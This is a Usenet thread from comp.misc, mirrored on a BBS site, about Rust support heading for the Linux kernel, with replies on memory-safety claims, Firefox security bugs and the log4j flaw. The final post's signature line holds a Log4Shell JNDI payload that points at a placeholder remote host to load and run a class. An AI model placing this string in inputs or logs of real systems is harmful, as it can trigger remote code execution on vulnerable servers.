Pop-Up Thingie

>>> Magnum BBS <<<
  • Home
  • Forum
  • Files
  • Log in

  1. Forum
  2. Usenet
  3. COMP.MISC
  • rust on Linux

    From RS Wood@21:1/5 to All on Sat Dec 11 23:54:07 2021
    From the «one step closer» department:
    Feed: Slashdot
    Title: The Linux Kernel's Second Language? Rust Gets Another Step Closer Author: EditorDavid
    Date: Sat, 11 Dec 2021 11:34:00 -0500
    Link: https://linux.slashdot.org/story/21/12/11/0334210/the-linux-kernels-second-language-rust-gets-another-step-closer?utm_source=rss1.0mainlinkanon&utm_medium=feed

    "In 2022 we will very likely see the experimental Rust programming language support within the Linux kernel mainlined," writes Phoronix, citing patches sent
    out Monday "introducing the initial support and infrastructure around handling of Rust within the kernel." This summer saw the earlier patch series posted for review and discussion around introducing Rust programming language support in the Linux kernel to complement its longstanding C focus. In the months since there has been more progress on enabling Rust for the Linux kernel development, Linus Torvalds is not opposed to it, and others getting onboard with the effort.
    Rust for the Linux kernel remains of increasing interest to developers over security concerns with Rust affording more memory safety protections, potentially lowering the barrier to contributing to the kernel, and other related benefits.... Miguel Ojeda sent out the "v2" patches for Rust support in the kernel. With these updated packages, the Rust code is now relying on stable Rust releases rather than the beta compiler state previously, new modularization
    options added, stricter code enforcements, extra Rust compiler diagnostics enabled, new abstractions for in-kernel use, and other low-level code improvements. Red Hat is also now joining Arm, Google, and Microsoft in voicing their support for Rust code within the Linux kernel. ZDNet contributing editor Steven J. Vaughan-Nichols also expects the first Rust code in Linux's kernel sometime in 2022: As Ryan Levick, a Microsoft principal cloud developer advocate, explained, "Rust is completely memory safe." Since roughly two-thirds of security issues can be traced back to handling memory badly, this is a major improvement. In addition, "Rust prevents those issues usually without adding any
    runtime overhead," Levick said.

    [image 2][2][image 4][4]

    Read more of this story[5] at Slashdot.

    Links:
    [1]: http://twitter.com/home?status=The+Linux+Kernel%27s+Second+Language%3F++Rust+Gets+Another+Step+Closer%3A+https%3A%2F%2Fbit.ly%2F3oIQXpR (link)
    [2]: https://a.fsdn.com/sd/twitter_icon_large.png (image)
    [3]: http://www.facebook.com/sharer.php?u=https%3A%2F%2Flinux.slashdot.org%2Fstory%2F21%2F12%2F11%2F0334210%2Fthe-linux-kernels-second-language-rust-gets-another-step-closer%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook (link)
    [4]: https://a.fsdn.com/sd/facebook_icon_large.png (image)
    [5]: https://linux.slashdot.org/story/21/12/11/0334210/the-linux-kernels-second-language-rust-gets-another-step-closer?utm_source=rss1.0moreanon&utm_medium=feed (link)



    --
    Port 80 is overrated.

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Computer Nerd Kev@21:1/5 to RS Wood on Sun Dec 12 01:35:03 2021
    RS Wood <rsw@therandymon.com> wrote:
    Title: The Linux Kernel's Second Language? Rust Gets Another Step Closer Link: https://linux.slashdot.org/story/21/12/11/0334210/the-linux-kernels-second-language-rust-gets-another-step-closer?utm_source=rss1.0mainlinkanon&utm_medium=feed
    As Ryan Levick, a Microsoft principal cloud developer
    advocate, explained, "Rust is completely memory safe." Since roughly two-thirds
    of security issues can be traced back to handling memory badly, this is a major
    improvement. In addition, "Rust prevents those issues usually without adding any
    runtime overhead," Levick said.

    Firefox still records plenty of security bugs attributed to
    something like "handling memory badly" even though they're the
    poster boy for Rust:
    https://www.mozilla.org/en-US/security/advisories/

    --
    __ __
    #_ < |\| |< _#

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Eli the Bearded@21:1/5 to not@telling.you.invalid on Sun Dec 12 05:21:42 2021
    In comp.misc, Computer Nerd Kev <not@telling.you.invalid> wrote:
    RS Wood <rsw@therandymon.com> wrote:
    Since roughly two-thirds of security issues can be traced back to
    handling memory badly, this is a major improvement. In addition,
    "Rust prevents those issues usually without adding any runtime
    overhead," Levick said.
    Firefox still records plenty of security bugs attributed to something
    like "handling memory badly" even though they're the poster boy for
    Rust:

    Two-thirds of security issues may be memory issues, but then you get the
    recent log4j issue (remote code execution when logging strings of a
    certain format, and so _much_ user input is logged unsanitized) and you
    see good coding practices are needed for so much else.

    (In fairness to Firefox, I expect they haven't rewritten it entirely in
    Rust yet, and will be a long time in that process. This page puts it at
    9.5% Rust now, but I don't know the accuracy: https://4e6.github.io/firefox-lang-stats/
    )

    Elijah
    ------
    ${jndi:ldap://loadme.remotely/rce.class}

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • Who's Online

  • Recent Visitors

    • Driswillis156
      Sun Jun 8 22:29:00 2025
      from Nope via SSH
    • Bob Worm
      Sun Jun 8 21:04:22 2025
      from Wales, Uk via Telnet
    • Logan
      Sun Jun 8 15:24:00 2025
      from Adelaide via Telnet
    • Plume
      Sun Jun 8 14:13:27 2025
      from Uk via SSH
    • Bob Worm
      Sun Jun 8 13:48:17 2025
      from Wales, Uk via Telnet
    • Jack
      Sun Jun 8 06:41:19 2025
      from Mississipi via Telnet
    • Centurion
      Sun Jun 8 00:08:04 2025
      from Berea, Ohio via Telnet
    • Centurion
      Sat Jun 7 21:52:22 2025
      from Berea, Ohio via Telnet
  • System Info

    Sysop: Keyop
    Location: Huddersfield, West Yorkshire, UK
    Users: 489
    Nodes: 16 (2 / 14)
    Uptime: 11:15:14
    Calls: 9,665
    Calls today: 7
    Files: 13,711
    Messages: 6,167,395
    Posted today: 2

© >>> Magnum BBS <<<, 2025